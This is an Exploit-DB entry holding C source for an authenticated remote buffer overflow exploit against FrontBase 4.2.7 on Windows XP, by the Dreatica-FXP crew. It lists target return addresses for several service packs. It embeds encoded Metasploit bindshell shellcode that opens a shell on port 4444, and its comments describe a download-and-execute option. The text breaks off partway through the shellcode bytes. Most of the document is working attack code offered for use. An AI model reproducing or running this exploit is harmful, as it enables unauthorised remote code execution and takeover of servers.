Exploit-DB #3650
Description: Frontbase 4.2.7 - (Authenticated) Remote Buffer Overflow (2.2)
Type: remote
Platform: windows
Date: 2007-04-02
Author: Heretic2

Exploit:
/* Dreatica-FXP crew
* 
* ----------------------------------------
* Target         : Frontbase <= 4.2.7 for Windows 
* Site           : http://www.frontbase.com
* Found by       : Netragard, L.L.C Advisory
* ----------------------------------------
* Exploit        : Frontbase <= 4.2.7 POST-AUTH remote buffer overflow 
* Exploit date   : 02.04.2007
* Exploit writer : Heretic2 (heretic2x@gmail.com)
* OS             : Windows XP SP0-SP2 
* Crew           : Dreatica-FXP
* ----------------------------------------
* Info           : This is the EIP overwrite realization of the Frontbase 'create procedure' buffer overflow.
*  Exploit was tested on Frontbase 4.2.7 and 4.1.16 versions under Windows XP SP0, Windows XP SP1, Windows XP SP2.
*  to add the Windows 2000 here , you will need to update a little stabstack code or use the SEH method exploit.
* 
*  this version of that exploit doesn't used the code from win32 SEH GetPC project to get the baseaddress
*  cause this was not worked on the Windows XP, so i took it from stack and calculated baseaddress.
*
*  also i added here the 'Download and Execute exploit'.
*
*  Exploit requires authentification!
*
* ----------------------------------------
* Compiling:
*  To compile this exploit you need:
*    1. Folder 'C:\usr\FrontBase\Include\FBCAccess' copy to exploit folder.
*    2. Copy from 'C:\usr\FrontBase\lib\' file 'FBCAccess.lib' to your exploit folder.
*    3. Select 'FBCAccess.lib' in linker options
*    4. Compile.
* ----------------------------------------
* Thanks to:
*       1. Netragard, L.L.C Advisory   ( http://www.netragard.com -- "We make I.T. Safe." )
*       2. The Metasploit project      ( http://metasploit.com                            ) 
*       3. ALPHA 2: Zero-tolerance     ( <skylined [at] edup.tudelft.nl>                  ) 
*       4. Dreatica-FXP crew           (                                                  )
* ----------------------------------------
* This was written for educational purpose only. Use it at your own risk. Author will be not be 
* responsible for any damage, caused by that code.
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <time.h>
#pragma comment(lib,"ws2_32")
#include "FBCAccess/FBCAccess.h"

void usage(char * s);
void logo();
void prepare_shellcode(unsigned char * fsh, int sh, char * url);
void make_buffer(char * buf, int itarget, int sh, char * url);
int  validate_args( int port, int sh, int itarget);
int  send_buffer(char * host, int port, char * user, char * password, char * dbpassword, char * database, char * buf);
int  alphanumeric_encoder_thx_to_skylined(char *to_encode, char *encoded );

// -----------------------------------------------------------------
// XGetopt.cpp  Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring);
char	*optarg;		// global argument pointer
int		optind = 0, opterr; 	// global argv index
// -----------------------------------------------------------------
// -----------------------------------------------------------------

struct _target{
	const char *t ;
	unsigned long ret ;
} targets[] = 
{	// alphanumeric jmp esp, for Windows XP i found it only in ole32.dll
	{"Windows XP SP0 RUSSIAN                   [  ole32.dll  ]",   0x77271f36 }, 
	{"Windows XP SP1 RUSSIAN                   [  ole32.dll  ]",   0x77270670 }, 
	{"Windows XP SP2 RUSSIAN                   [  ole32.dll  ]",   0x77544326 }, 
	{"Windows XP SP2 DUTCH                     [  ole32.dll  ]",   0x77514326 }, 	
	{NULL,                                               0x00000000 }

};
struct {
	const char * name;
	char * shellcode;
}shellcodes[]={ 	
	 {"Spawn bindshell on port 4444", 
		 /* modified win32_bind -  EXITFUNC=seh LPORT=4444 Encoder=Alpha2 http://metasploit.com 
		    first jmp instructions removed, cause we already have the baseaddress in ECX */
		"\x49\x49\x49\x49\x49\x49"
		"\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x66"
		"\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41\x76\x32\x42\x42\x32\x41"
		"\x41\x30\x41\x41\x42\x58\x50\x38\x42\x42\x75\x38\x69\x39\x6c\x52"
		"\x4a\x5a\x4b\x42\x6d\x68\x68\x48\x79\x4b\x4f\x6b\x4f\x4b\x4f\x65"
		"\x30\x6c\x4b\x30\x6c\x31\x34\x71\x34\x4e\x6b\x42\x65\x65\x6c\x6e"
		"\x6b\x53\x4c\x43\x35\x62\x58\x55\x51\x4a\x4f\x4e\x6b\x72\x6f\x54"
		"\x58\x6c\x4b\x51\x4f\x77\x50\x53\x31\x78\x6b\x43\x79\x4e\x6b\x54"
		"\x74\x6c\x4b\x35\x51\x6a\x4e\x64\x71\x6f\x30\x6e\x79\x6e\x4c\x6d"
		"\x54\x6f\x30\x64\x34\x55\x57\x4f\x31\x59\x5a\x36\x6d\x36\x61\x59"
		"\x52\x5a\x4b\x4c\x34\x37\x4b\x62\x74\x47\x54\x46\x48\x70\x75\x4d"
		"\x35\x6c\x4b\x73\x6f\x64\x64\x33\x31\x4a\x4b\x43\x56\x4c\x4b\x44"
		"\x4c\x62\x6b\x6e\x6b\x63\x6f\x57\x6c\x65\x51\x6a\x4b\x77\x73\x56"
		"\x4c\x6c\x4b\x6e\x69\x62\x4c\x44\x64\x45\x4c\x55\x31\x6f\x33\x44"
		"\x71\x6b\x6b\x51\x74\x4e\x6b\x53\x73\x30\x30\x4e\x6b\x57\x30\x34"
		"\x4c\x6c\x4b\x64\x30\x37\x6c\x4e\x4d\x6c\x4b\x53\x70\x73\x38\x73"
		"\x6e\x30\x68\x4c\x4e\x62\x6e\x74\x4e\x38\x6c\x30\x50\x79\x6f\x6a"
		"\x76\x51\x76\x30\x53\x42\x46\x72\x48\x35\x63\x45\x62\x33\x58\x64"
		"\x37\x64\x33\x74\x72\x43\x6f\x33\x64\x4b\x4f\x78\x50\x52\x48\x38"
		"\x4b\x7a\x4d\x4b\x4c\x57\x4b\x62\x70\x69\x6f\x6e\x36\x71\x4f\x6e"
		"\x69\x4b\x55\x33\x56\x6c\x41\x4a\x4d\x76\x68\x74\x42\x63\x65\x51"
		"\x7a\x77\x72\x4b\x4f\x4a\x70\x63\x58\x6e\x39\x35\x59\x6b\x45\x4e"
		"\x4d\x30\x57\x4b\x4f\x38\x56\x50\x53\x50\x53\x42\x73\x51\x43\x70"
		"\x53\x70\x43\x32\x73\x52\x63\x76\x33\x59\x6f\x6e\x30\x55\x36\x33"
		"\x58\x76\x71\x71\x4c\x63\x56\x56\x33\x6e\x69\x59\x71\x4e\x75\x55"
		"\x38\x4c\x64\x55\x4a\x72\x50\x6b\x77\x56\x37\x4b\x4f\x4e\x36\x53"
		"\x5a\x56\x70\x32\x71\x33\x65\x69\x6f\x4e\x30\x62\x48\x39\x34\x4c"
		"\x6d\x74\x6e\x4a\x49\x63\x67\x69\x6f\x79\x46\x43\x63\x36\x35\x6b"
		"\x4f\x68\x50\x35\x38\x5a\x45\x70\x49\x6d\x56\x70\x49\x